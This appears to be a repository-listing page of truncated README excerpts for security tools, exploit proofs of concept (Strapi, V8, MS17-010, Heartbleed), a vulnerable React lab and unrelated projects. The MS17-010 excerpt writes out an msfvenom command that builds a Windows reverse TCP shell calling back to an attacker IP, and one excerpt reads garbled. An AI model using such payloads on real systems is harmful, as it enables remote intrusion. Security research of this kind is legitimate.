river

River es una biblioteca de Python para el aprendizaje automático en línea. Su objetivo es ser la biblioteca más fácil de usar para hacer aprendizaje automático con datos en streaming. River es el resultado de la fusión de creme y scikit-multiflow. ⚡️ Inicio rápido Como ejemplo rápido, entrenaremos...

hate_crack

/ | \ / | \ \ | | / \ \ / \ / \ /\ \ \ / | |/ / \ Y // | | \ / \ | | // \ | \ /|| /\ | \ / / // / / / / Installation Installing from source is the only supported path. hatecrack is not distributed on PyPI: pip install hate-crack resolves to a 0.0.0 placeholder that fails on purpose...

hate_crack

/ | \ / | \ \ | | / \ \ / \ / \ /\ \ \ / | |/ / \ Y // | | \ / \ | | // \ | \ /|| /\ | \ / / // / / / / 安装 从源码安装是唯一受支持的途径。hatecrack 不 在 PyPI 上分发：pip install hate-crack 会解析到一个 0.0.0 占位包，该包会故意安装失败并指向此处。保留该名称只是为了防止其他人在其下发布仿冒包——参见 packaging/pypi-placeholder/。 1. 安装 hashcat Hashcat...

React2Shell

React2Shell — 易受攻击的实验室 CVE-2025-55182 React2Shell 是一个故意存在漏洞的 React.js 应用程序，专为与 CVE-2025-55182 相关的教育和研究目的而提供。它包含有意的非安全代码，不得用于生产环境。 该项目通过 Docker 打包并运行，使得轻松搭建一个用于学习、研究和安全测试的实验室环境成为可能。 博客链接：https://arulkumar.in/posts/react2shell-cve-2025-55182-docker-vulnerable-lab/ ⚠️ 重要 — 负责任使用...

orb

Orb — 零信任文件夹隧道工具 Orb 是一个安全的、终端优先的实用工具，让你能够通过端到端加密在互联网上共享本地文件夹。无需账户、无需云存储、无需端口转发。 演示 共享文件夹 单命令共享文件夹——全程端到端加密 浏览共享文件 用于安全文件访问的交互式 TUI 浏览器 特性 零信任架构 ：中继服务器永远无法看到明文数据 强加密 ：Argon2id 用于密钥派生，Noise Protocol 用于握手，ChaCha20-Poly1305 用于传输加密 跨平台 ：支持 Linux、macOS 和 Windows NAT 穿透 ：所有连接均为出站连接，可在防火墙后工作 TUI 文件浏览器...

CVE-2023-22894

未经身份验证的 Strapi 漏洞利用：CVE-2023-22894 本仓库包含针对 CVE-2023-22894 的概念验证 PoC 漏洞利用代码，该漏洞允许未经身份验证的用户通过利用 Strapi 对私有字段的过滤功能，泄露敏感信息并劫持 Strapi 管理员账户。 概述 此漏洞利用针对 Strapi 版本 -e -d 3. 运行 dump-authless.py 脚本需要以下参数： -u 或 --url：存在漏洞的 Strapi 实例的目标 URL。 -e 或 --endpoint：Strapi 上与用户具有关系的公共端点。 此外，您可以使用可选的 -d 或 --dump...

MS17-010_CVE-2017-0143

MS17-010 🖥️ -h3x0v3rl0rd- ️⃣ CVE-2017-0143 Docker 使用 msfvenom 生成 Payload： msfvenom -p windows/shellreversetcp LHOST=10.10.14.19 LPORT=1337 -f exe -o ms17-010.exe -p windows/shellreversetcp：指定 payload（一个针对 Windows 的反向 TCP shell）。 LHOST=10.10.14.4：攻击者的 IP 地址（目标将回连的地址）。 LPORT=443：攻击者机器上监听连接的端口。 -f...

CakeFuzzer

CakeFuzzer 最新版本 : 1.0 许可证 : GNU GPL v3.0 Cake Fuzzer 是一个项目，旨在帮助自动且持续地发现基于特定框架的 Web 应用程序中的漏洞，且假阳性率极低。目前它已实现支持 Cake PHP 框架。 如果您想了解更多关于研究过程的信息，请查看这篇文章系列：CakePHP 应用程序网络安全研究 🏆 已报告的漏洞 🏆 以下是 Cake Fuzzer 发现的部分漏洞列表： 标题| 严重性| 链接 ---|---|--- Cerebrate 中的盲 SQL 注入| 9.8 严重|...

wsvuls

WSVuls Website vulnerability scanner detect issues outdated server software and insecure HTTP headers. What's WSVuls? WSVuls is a simple and powerful command line tool for Linux, Windows and macOS. It's designed for developers/testers and for those workers in IT who want to test vulnerabilities a...

wsvuls

WSVuls 网站漏洞扫描器，检测过时的服务器软件和不安全的HTTP头等问题。 什么是 WSVuls？ WSVuls 是一款适用于 Linux、Windows 和 macOS 的简单而强大的命令行工具。它专为开发者/测试人员以及 IT 工作者设计，只需一条命令即可测试网站漏洞和分析网站。 它会检测过时的软件版本、不安全的 HTTP 头以及冗长且无用的请求。 为什么选择 WSVuls？ WSVuls 可以在爬取过程中提取以下数据： Cloudflare： IP Address Ports Hex Headers Protocol Version 统计数据： First Byte Start...

AiSOC

AiSOC An open-source, self-hostable AI Security Operations Center. It ingests your security telemetry, detects and correlates threats, investigates them with AI agents whose reasoning is fully auditable, and proposes responses a human approves. Docs · Architecture · What actually works ·...

mitmproxy2swagger

mitmproxy2swagger https://user-images.githubusercontent.com/5400940/168086818-c48f60ab-3f95-42eb-b435-c8b1a6326b81.mp4 A tool for automatically converting mitmproxy captures to OpenAPI 3.0 specifications. This means that you can automatically reverse-engineer REST APIs by just running the apps an...

mitmproxy2swagger

mitmproxy2swagger https://user-images.githubusercontent.com/5400940/168086818-c48f60ab-3f95-42eb-b435-c8b1a6326b81.mp4 一个用于自动将 mitmproxy 捕获转换为 OpenAPI 3.0 规范的工具。这意味着您只需运行应用程序并捕获流量，即可自动逆向工程 REST API。 🆕 新功能！ 新增对从浏览器开发者工具导出的 HAR 文件的支持。有关更多详细信息，请参阅 用法 - HAR。 安装 首先你需要安装 python3 和 pip3。 $ pip install...

CVE-2019-17041

Rsyslog - 它是什么？ Rsyslog 是一个火 箭般高速的系统日志 处理系统 。 它提供了高性能、出色的安全特性和模块化设计。 虽然它最初只是一个普通的 syslogd，但 rsyslog 已演变成一种日志处理的瑞士军刀， 能够接受来自各种来源的输入，进行转换，并将结果输出到不同的目的地。 在应用有限处理的情况下（基于 v7，2013 年 12 月），rsyslog 可以每秒向本地目标交付超过一百万条消息。 即使对于远程目标和更复杂的处理，其性能通常也被认为是“令人惊叹的”。 邮件列表...

EternalView

EternalView EternalView 是一个集多种基本信息收集功能于一体的 CLI 工具，纯粹用 BASH 编写 EternalView 运行中 警告： 本工具仅供教育目的，未经网站所有者许可，切勿在任何网站上使用。 使用者需自行承担一切责任！ 更新： Cloudflare 检测已上线！！！ 依赖项： BASH 如果你使用 Windows，在 Windows 上安装 UBUNTU 子系统 Wget Whois Nmap Metasploit framework Autopwn™ 如何安装： 1. 下载 通过终端克隆： git clone...

CVE-2025-5419

CVE-2025-5419 由不正确的Turboshaft Store-Store Elimination引起的V8中未初始化的读取漏洞。 该仓库包含分析和稳定化的利用，以提升此漏洞，实现V8沙箱内的任意读/写、AddressOf和FakeObject原语。 分析：CVE-2025-5419.pdf 复现信息 操作系统：Ubuntu 24.04 Git 提交：609a85c2a1bd77d6f6905369f4bc4fcf34c5db09 致谢 特别感谢 Clement Lecigne @clem1 和 Benoît Sevens @benoitsevens 发现该漏洞。 特别感谢...

scutum

SCUTUM 防火墙 简介 简而言之，SCUTUM 自动配置您的个人计算机，抵御恶意 TCP/UDP 流量和 ARP 欺骗攻击。 该软件使用 UFW 为您设置传统防火墙，确定并锁定网关 MAC 地址，从而防止被 ARP 欺骗。 本软件设计紧凑高效。目前一次仅支持一个接口。流量仅允许通过一个接口。我们正在研究同时支持多个接口的可能性。 2.10.2（2019年5月5日） 1. 修复了 nftables 的 ARP 问题。ARP 数据包现在已正确在 arp 表中被阻止，而非 inet 表。 2. 将格式化字符串替换为 f-string。 2.10.0（2018年11月2日） 1. 修复了首次...

CVE-2014-0160

CVE-2014-0160 链接 https://github.com/DisK0nn3cT/MaltegoHeartbleed https://github.com/a0726h77/heartbleed-test https://github.com/musalbas/heartbleed-masstest https://github.com/decal/ssltest-stls https://github.com/isgroup-srl/openmagic https://github.com/offensive-python/HeartLeak Nmap nmap -sV...

pbscan

摘要 polarbearscan 旨在实现更快、更高效的横幅抓取和端口扫描。它结合了两个不同的理念，希望使其值得您关注和投入时间。 第一个理念是使用无状态 SYN 扫描，通过加密保护的 cookie 来解析传入的确认包。据作者所知，这项技术最早由 Dan Kaminsky 在 scanrand 中开创。Scanrand 本身是 Paketto Keiretsu（一组扫描工具）的一部分，于 2001-2002 年左右发布。该代码的镜像可在 Packet Storm 1 找到。 第二个理念是使用修补过的用户态 TCP/IP 栈，以便扫描器在收到同时设置了 SYN 和 ACK...

pbscan

SUMMARY polarbearscan is an attempt to do faster and more efficient banner grabbing and port scanning. It combines two different ideas which hopefully will make it somewhat worthy of your attention and time. The first of these ideas is to use stateless SYN scanning using cryptographically protect...